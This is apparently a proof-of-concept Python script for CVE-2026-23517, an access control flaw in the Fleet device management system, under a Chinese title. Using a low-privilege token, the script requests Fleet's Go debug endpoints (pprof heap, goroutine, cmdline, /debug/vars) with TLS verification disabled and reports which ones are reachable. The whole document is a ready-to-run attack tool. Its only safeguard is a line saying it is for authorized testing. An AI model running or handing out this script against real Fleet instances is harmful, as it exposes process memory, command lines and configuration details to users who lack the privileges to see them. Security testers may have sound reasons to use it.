CVE-2026-23517 Fleet设备管理系统访问控制缺陷漏洞

#!/usr/bin/env python3 """ CVE-2026-23517 PoC - Fleet Debug Endpoint Unauthorized Access Note: This PoC demonstrates the vulnerability for authorized security testing only. """ import requests import argparse import sys from urllib.parse import urljoin def check_vulnerability(base_url, token): """Check if Fleet instance is vulnerable to CVE-2026-23517""" headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # List of sensitive debug endpoints debug_endpoints = [ '/debug/pprof/', '/debug/pprof/cmdline', '/debug/pprof/profile?seconds=10', '/debug/pprof/heap', '/debug/vars', '/debug/pprof/goroutine?debug=1' ] print(f"[*] Testing Fleet instance: {base_url}") print(f"[*] Using token: {token[:10]}...") print("-" * 60) vulnerable = False for endpoint in debug_endpoints: url = urljoin(base_url.rstrip('/') + '/', endpoint.lstrip('/')) try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[VULN] {endpoint} - Accessible (200 OK)") print(f" Content length: {len(response.content)} bytes") vulnerable = True elif response.status_code == 403: print(f"[SAFE] {endpoint} - Access Denied (403 Forbidden)") else: print(f"[*] {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] {endpoint} - {str(e)}") print("-" * 60) if vulnerable: print("[!] Target is VULNERABLE to CVE-2026-23517") print("[!] Low-privilege users can access debug endpoints!") else: print("[+] Target appears to be PATCHED") return vulnerable def main(): parser = argparse.ArgumentParser(description='CVE-2026-23517 PoC') parser.add_argument('-u', '--url', required=True, help='Fleet base URL') parser.add_argument('-t', '--token', required=True, help='Observer token or low-privilege token') args = parser.parse_args() check_vulnerability(args.url, args.token) if __name__ == '__main__': main()